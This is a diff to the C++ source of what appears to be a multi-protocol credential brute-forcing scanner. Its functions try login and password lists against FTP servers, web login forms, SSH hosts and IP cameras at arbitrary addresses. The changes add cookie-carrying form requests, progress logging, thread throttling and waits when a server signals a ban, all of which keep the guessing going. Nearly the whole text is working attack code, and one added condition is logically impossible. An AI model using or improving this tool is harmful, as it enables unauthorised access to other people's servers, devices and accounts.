int port, char *pathT, char *method, char *data) int sz = pt2 - pt1 - 1; char tempHeaderCode[16] = {0}; strncpy(tempHeaderCode, pt1 + 1, sz); - stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); strcpy(lps.login, curLogin); strcpy(lps.pass, curPass); @@ -800,15 +813,17 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) strcpy(lps.login, "UNKNOWN"); return lps; } -lopaStr Connector::_BALobby(char *ip, int port, char *path, char *method, char *data) +lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) { + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + BConInc(); - lopaStr res = _BABrut(ip, port, path, method, data); + lopaStr res = _BABrute(cookie, ip, port, path, method); BConDec(); + return res; }; - -lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) +lopaStr _FTPBrute(char *ip, int port, PathStr *ps) { lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); @@ -831,7 +846,7 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) else { #pragma region QTGUI_Area - stt->doEmitionRedFoundData("[CRITICAL] " + QString("Bad address! (") + QString(ip) + ")"); + stt->doEmitionRedFoundData(QString("Bad address! (") + QString(ip) + ")"); #pragma endregion }; #else @@ -840,11 +855,15 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) else { #pragma region QTGUI_Area - stt->doEmitionRedFoundData("[CRITICAL] Bad address! [" + QString(ip) + "]"); + stt->doEmitionRedFoundData("Bad address! [" + QString(ip) + "]"); #pragma endregion }; #endif bool breakPassLoop = 0; + int passCounter = 1; + int bTO; + int x = 0; + for(int i = 0; i < MaxLogin; ++i) { if(globalScanFlag == false) break; @@ -862,12 +881,12 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) while(cErrCode == 10038) { + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); }; loginFailedFlag = 0; }; @@ -876,14 +895,14 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) if(connectionResult != SOCKET_ERROR) { - int x = 0; - int bTO; + x = 0; while (true) { + Sleep(100); if(globalScanFlag == false) break; - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); - if(x == -1 || x == 0) break; + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); + if(x <= 0) break; if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); Activity += x; @@ -892,11 +911,8 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) { shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); - closedSocket = 1; OnLiner = 0; -#pragma region QTGUI_Area - stt->doEmition_BARedData("[*] Anonymous access detected - " + QString(ip)); -#pragma endregion + stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); strcpy(lps.other, "Unknown protocol (451 Error)"); return lps; }; @@ -905,7 +921,6 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) { shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); - closedSocket = 1; OnLiner = 0; #pragma region QTGUI_Area stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); @@ -915,51 +930,54 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) return lps; }; - if(strstr(recvBuff, "550 No connections allowed") != NULL || strstr(recvBuff, "550 no connections allowed") - || strstr(recvBuff, "550-")) + if(strstr(recvBuff, "550 no connections allowed") != NULL + || strstr(recvBuff, "550-") != NULL + ) { shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); OnLiner = 0; - closedSocket = 1; #pragma region QTGUI_Area - stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip) + ":" + QString::number(port)); + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); #pragma endregion strcpy(lps.login, "UNKNOWN"); return lps; }; - if(strstr(recvBuff, "500 Sorry, no such command") != NULL || strstr(recvBuff, "no such command")) + if(strstr(recvBuff, "no such command")) { shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); OnLiner = 0; - closedSocket = 1; + stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); strcpy(lps.other, "[500 Sorry, no such command]"); return lps; }; - if((strstr(recvBuff, "500 ") != NULL || strstr(recvBuff, "500-") != NULL || strstr(recvBuff, "500 -") != NULL) - && strstr(recvBuff, "500 oops") == NULL && strstr(recvBuff, "500 OOPS") == NULL) + if((strstr(recvBuff, "500 ") != NULL + || strstr(recvBuff, "500-") != NULL + ) + && strstri(recvBuff, "500 oops") == NULL + ) { j = 0; shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; }; - if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL || strstr(recvBuff, "421 -") != NULL) + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) { shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; }; @@ -969,23 +987,26 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; }; - if((strstr(recvBuff, "530 Sorry") != NULL) || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) - || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "exceeded") != NULL) || strstr(recvBuff, "exceeded") != NULL - || strstr(recvBuff, "421 Too many") != NULL || strstr(recvBuff, "from this IP") != NULL || strstr(recvBuff, "from your IP") != NULL) + if((strstr(recvBuff, "530 Sorry") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL + || strstr(recvBuff, "from this IP") != NULL + || strstr(recvBuff, "from your IP") != NULL) { #pragma region QTGUI_Area - stt->doEmition_BARedData("[-] 503 - Ban detected? Waiting 1 min (" + QString(ip) + ":" + QString::number(port) + ")"); + stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); #pragma endregion shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); closedSocket = 1; if(j > 0) --j; - ZeroMemory(recvBuff, sizeof(recvBuff)); - Sleep(60000); + ZeroMemory(recvBuff, 1024); + Sleep(30000); break; } else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) @@ -995,7 +1016,7 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) else { loginFailedFlag = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; }; strcat(request, "\r\n"); @@ -1004,25 +1025,26 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); Activity += strlen(request); - ZeroMemory(request, sizeof(request)); + ZeroMemory(request, 64); } else { stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); }; } - else if(strstr(recvBuff, "530") != NULL || strstr(recvBuff, "Login incorrect") != NULL - || strstr(recvBuff, "500 OOPS") != NULL|| strstr(recvBuff, "500 oops") != NULL) + else if(strstr(recvBuff, "530") != NULL + || strstr(recvBuff, "Login incorrect") != NULL + || strstri(recvBuff, "500 oops") != NULL + ) { loginFailedFlag = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; } else if(strstr(recvBuff, "331") != NULL) { - if((strstr(recvBuff, "530 Non-anonymous sessions must use encryption") != NULL) || - (strstr(recvBuff, "331 Non-anonymous sessions must use encryption") != NULL) || - (strstr(recvBuff, "331 Rejected--secure connection required") != NULL) + if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL + || strstr(recvBuff, "Rejected--secure connection required") != NULL ) { stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); @@ -1030,7 +1052,6 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) closesocket(sockFTP); OnLiner = 0; - closedSocket = 1; strcpy(lps.login, "UNKNOWN"); return lps; @@ -1042,7 +1063,7 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) else { loginFailedFlag = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); break; }; strcat(request, "\r\n"); @@ -1051,9 +1072,9 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); Activity += strlen(request); - ZeroMemory(request, sizeof(request)); + ZeroMemory(request, 64); - if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j])); + if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); } else { @@ -1083,10 +1104,10 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) int x = 1, xx = 0; while(x != 0) { - ZeroMemory(recvBuff, sizeof(recvBuff)); + ZeroMemory(recvBuff, 1024); x = recvWT(sockFTP, recvBuff, 512, gTimeOut + 5, &bTO); xx += x; - if(xx < 1536) strcat(recvBuff2, recvBuff); + if(xx < 1536) strncat(recvBuff2, recvBuff, x); else break; }; @@ -1098,7 +1119,6 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); strcpy(lps.other, "ROUTER"); - closedSocket = 1; OnLiner = 0; return lps; }; @@ -1136,16 +1156,15 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) send(sockFTP, "LIST\r\n", 6, 0); ZeroMemory(recvBuff, sizeof(recvBuff)); - int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); - if(x <= 0) + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) { - stt->doEmition_BAGreenData("[*] " + QString(pass) + " [LIST failed]"); - } - else - { - if(strstr(recvBuff, "unknown command") != NULL) + send(sockFTP, "MLSD\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) { - stt->doEmition_BARedData("[-] LIST failed."); + stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); shutdown(sockFTP, SD_BOTH); closesocket(sockFTP); shutdown(newSockFTP, SD_BOTH); @@ -1155,30 +1174,30 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps) strcpy(lps.login, "UNKNOWN"); return lps; } - else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); - }; + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); + } + else stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + shutdown(newSockFTP, SD_BOTH); closesocket(newSockFTP); } else { -#pragma region QTGUI_Area stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); -#pragma endregion }; } else { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); }; } else { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); }; #pragma endregion - if(strlen(recvBuff) > 1) + if(xx > 1) { strcpy(ps->headr, "
 (");
 								strncat(ps->headr, recvBuff, 256);
@@ -1191,7 +1210,6 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps)
 							shutdown(sockFTP, SD_BOTH);
 							closesocket(sockFTP);
 							OnLiner = 0;
-							closedSocket = 1;
 							return lps;
 						}
 						else
@@ -1204,7 +1222,6 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps)
 							shutdown(sockFTP, SD_BOTH);
 							closesocket(sockFTP);
 							OnLiner = 0;
-							closedSocket = 1;
 							return lps;
 						};
 					};
@@ -1212,7 +1229,7 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps)
 				shutdown(sockFTP, SD_BOTH);
 				closesocket(sockFTP);
 				closedSocket = 1;
-				ZeroMemory(recvBuff, sizeof(recvBuff));
+				ZeroMemory(recvBuff, 1024);
 			}
 			else
 			{
@@ -1236,8 +1253,7 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps)
 				};
 
 				shutdown(sockFTP, SD_BOTH);
-				closesocket(sockFTP);
-				closedSocket = 1;			
+				closesocket(sockFTP);		
 				OnLiner = 0;
 				strcpy(lps.login, "UNKNOWN");
 				return lps;
@@ -1251,25 +1267,35 @@ lopaStr Connector::_ftpBrute(char *ip, int port, PathStr *ps)
 			};
 		};
 	};
-
 	shutdown(sockFTP, SD_BOTH);
 	closesocket(sockFTP);
-
 	OnLiner = 0;
-
 	strcpy(lps.login, "UNKNOWN");
 	return lps;
 };
+lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
+{
+	while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
 
+	lopaStr lps;
+	ZeroMemory(lps.login, sizeof(lps.login));
+	ZeroMemory(lps.pass, sizeof(lps.pass));
+	ZeroMemory(lps.other, sizeof(lps.other));
+
+	
+	BConInc();
+	lps = _FTPBrute(ip, port, ps);
+	BConDec();
+	
+	return lps;
+};
 int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR)
 {
 	SSL *ssl = NULL;
 	int bytes = 0;
 	char *recvBuff2 = 0;
 	int resCode = 0;
-
-	SSL_library_init();
-
+	
 	SSL_CTX *ctx = InitCTX();
 	SOCKET sock = OpenConnection(iph, porth);
 	if(sock >= 0)
@@ -1344,7 +1370,7 @@ int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, con
 
 			if(bytes < 0)
 			{
-				stt->doEmitionRedFoundData("[SSL error] (_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth));
+				stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth));
 			};
 
 			SSL_free(ssl);
@@ -1438,7 +1464,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 		if(mode != 1) 
 		{
 			char temp[256] = {0};
-			strcpy(temp, "[Error - Bad Address (");
+			strcpy(temp, "[Bad address (");
 
 			strcat(temp, ip);
 			strcat(temp, ":");
@@ -1448,7 +1474,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 			strcat(temp, "]");
 
 #pragma region QTGUI_Area
-			stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp));
+			stt->doEmitionRedFoundData(QString(temp));
 #pragma endregion
 
 		};
@@ -1464,7 +1490,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 		{
 			++offlines;
 			char temp[256] = {0};
-			strcpy(temp, "[Error - Bad Address (");
+			strcpy(temp, "[Bad address (");
 
 			strcat(temp, ip);
 			strcat(temp, ":");
@@ -1474,7 +1500,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 			strcat(temp, "]");
 
 #pragma region QTGUI_Area
-			stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp));
+			stt->doEmitionRedFoundData(QString(temp));
 #pragma endregion
 
 			return -1;
@@ -1499,7 +1525,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 		strcat(temp, std::to_string((long double)port).c_str());
 
 #pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp));
+		stt->doEmitionRedFoundData(QString(temp));
 #pragma endregion
 
 		shutdown(sock, SD_BOTH);
@@ -1535,7 +1561,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 		strcat(temp, std::to_string((long double)port).c_str());
 
 #pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp));
+		stt->doEmitionRedFoundData(QString(temp));
 #pragma endregion
 
 		shutdown(sock, SD_BOTH);
@@ -1639,8 +1665,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 
 							if( recvBuffSize > RECV_MAX_LENGTH ) 
 							{ 
-								if(strstri(recvBuff2, "http/1.") == NULL)
-								{
+								//if(strstri(recvBuff2, "http/1.") == NULL)
+								//{
 									delete[] recvBuff2;
 									recvBuff2 = NULL;
 
@@ -1653,8 +1679,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 									strcpy(CSTR->lowerBuff, "[OVERFLOW]");
 									CSTR->size = 10;
 									return 0;
-								} 
-								else break;
+								//} 
+								//else break;
 							};
 							if(globalScanFlag == true || force)
 							{
@@ -1662,7 +1688,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 								{
 									memset((void*)(recvBuff + x), '\0', 1);
 
-									strcat(recvBuff2, recvBuff);
+									strncat(recvBuff2, recvBuff, x);
 									if((strstr(recvBuff, "220") || strstr(recvBuff, "500 'GET':")) && port == 21) 
 									{							
 										break;
@@ -1700,7 +1726,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
 						strcat(temp, std::to_string((long double)sock).c_str());
 
 #pragma region QTGUI_Area
-						stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp));
+						stt->doEmitionRedFoundData(QString(temp));
 #pragma endregion
 						ZeroMemory(temp, strlen(temp));
 					};
@@ -1826,6 +1852,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 	ZeroMemory(lps.login, sizeof(lps.login));
 	ZeroMemory(lps.pass, sizeof(lps.pass));
 	ZeroMemory(lps.other, sizeof(lps.other));
+	
+	int cookieLen = strlen(cookie);
 
 	char b[16] = {0};
 	char request[2048] = {0};
@@ -1835,12 +1863,13 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 	Connector con;
 	conSTR CSTR;
 	int cRes;
-
+	int firstCycle = 0;
 	if(strstri(methodVal, "get") != NULL)
 	{
+		int passCounter = 1;
 		for(int i = 0; i < MaxWFLogin; ++i)
 		{
-			for(int j = 0; j < MaxWFPass; ++j)
+			for(int j = firstCycle; j < MaxWFPass; ++j)
 			{
 				CSTR.lowerBuff = NULL;
 				CSTR.size = 0;
@@ -1859,14 +1888,19 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 				strcat(request, " HTTP/1.1\r\n");
 				strcat(request, "Host: ");
 				strcat(request, ip);
+				if(cookieLen != 0)
+				{
+					strcat(request, "\r\nCookie: ");
+					strcat(request, cookie);
+				};
 				strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0");
 				strcat(request, "\r\n\r\n");
 
-				if(BALogSwitched) stt->doEmitionBAData("Probing WF " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]));
-
 				if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
 				else cRes = con._EstablishConnection(ip, port, request, &CSTR);
 
+				if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + ";	- Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
+
 				if(CSTR.lowerBuff != NULL)
 				{
 					if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL)
@@ -1901,6 +1935,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 						&& strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL
 						&& strstri(CSTR.lowerBuff, "busy") == NULL
 						&& strstri(CSTR.lowerBuff, "later") == NULL
+						&& strstri(CSTR.lowerBuff, "verification failed") == NULL
+						&& strstri(CSTR.lowerBuff, "403 Forbidden") == NULL
 						&& strstri(CSTR.lowerBuff, formVal) == NULL
 
 						)
@@ -1944,13 +1980,16 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 				if(i == 0) ++i;
 				ZeroMemory(request, 2048);
 			};
+			firstCycle = 1;
 		};
 	}
 	else if(strstri(methodVal, "post") != NULL)
 	{
+		int passCounter = 1;
+		int firstCycle = 0;
 		for(int i = 0; i < MaxWFLogin; ++i)
 		{
-			for(int j = 0; j < MaxWFPass; ++j)
+			for(int j = firstCycle; j < MaxWFPass; ++j)
 			{
 				CSTR.lowerBuff = NULL;
 				CSTR.size = 0;
@@ -1969,14 +2008,19 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 				strcat(request, " HTTP/1.1\r\n");
 				strcat(request, "Host: ");
 				strcat(request, ip);
-				strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n");
+				if(cookieLen != 0)
+				{
+					strcat(request, "\r\nCookie: ");
+					strcat(request, cookie);
+				};
+				strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n");
 				strcat(request, "Content-length: ");
 				strcat(request, itoa(strlen(argData), b, 10));
 				strcat(request, "\r\n\r\n");
 
 				strcat(request, argData);
 
-				if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]));
+				if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + ";	- Progress: (" + QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
 
 				if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
 				else cRes = con._EstablishConnection(ip, port, request, &CSTR);
@@ -2015,6 +2059,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 						&& strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL
 						&& strstri(CSTR.lowerBuff, "busy") == NULL
 						&& strstri(CSTR.lowerBuff, "later") == NULL
+						&& strstri(CSTR.lowerBuff, "verification failed") == NULL
+						&& strstri(CSTR.lowerBuff, "403 Forbidden") == NULL
 						&& strstri(CSTR.lowerBuff, formVal) == NULL
 						)
 					{
@@ -2059,6 +2105,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 				ZeroMemory(request, 2048);
 				ZeroMemory(argData, 256);
 			};
+			firstCycle = 1;
 		};
 	}
 	else
@@ -2076,10 +2123,14 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
 };
 lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
 {
+	while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
+
 	++WF;
+	
 	BConInc();
 	lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal);
 	BConDec();
+	
 	return res;
 };
 #pragma endregion
@@ -2152,7 +2203,7 @@ char *_get_ssh_banner(char *ip)
 int check_ssh_pass(char *user, char *pass, char *userPass, char *host, conSTR *CSTR, char *banner)
 {
 	int res = -1;
-	if(BALogSwitched) stt->doEmitionBAData("Probing ssh: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
+	if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
 	res = _sshConnect(user, pass, host);
 	if(res == 0)
 	{
@@ -2224,20 +2275,11 @@ int _EstablishSSHConnection(char *host, conSTR *CSTR, char *banner)
 #pragma endregion
 
 #pragma region IPCAMWeb
-int checkGEO(char *login, char *pass, char *ip, int port)
+int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector)
 {
-	char request[1024] = {0};
 	char recvBuff[256] = {0};
 	char recvBuff2[4096] = {0};
 
-	strcpy(request, "GET /Login.cgi?username=");
-	strcat(request, login);
-	strcat(request, "&password=");
-	strcat(request, pass);
-	strcat(request, " HTTP/1.1\r\nHost: ");
-	strcat(request, ip);
-	strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
-
 	SOCKET sock;
 	sockaddr_in sockAddr;
 	int bTO; 
@@ -2250,7 +2292,7 @@ int checkGEO(char *login, char *pass, char *ip, int port)
 	else 
 	{
 #pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[GEOvis] Bad address! [" + QString(ip) + "]");
+		stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]");
 #pragma endregion
 	};
 #else
@@ -2259,7 +2301,7 @@ int checkGEO(char *login, char *pass, char *ip, int port)
 	else 
 	{
 #pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[GEOvis] Bad address! [" + QString(ip) + "]");
+		stt->doEmitionRedFoundData("[" + QString(type) + "] Bad address! [" + QString(ip) + "]");
 #pragma endregion
 	};
 #endif
@@ -2274,11 +2316,9 @@ int checkGEO(char *login, char *pass, char *ip, int port)
 		sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
 		cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
 		cErrCode = WSAGetLastError();
-		if(gDebugMode) stt->doEmitionDebugFoundData("[GEOvis] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
+		if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
 	};
 
-	if(BALogSwitched) stt->doEmitionBAData("Probing IPC" + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass));
-
 	if(cCode != SOCKET_ERROR) 
 	{
 		int x = 1;
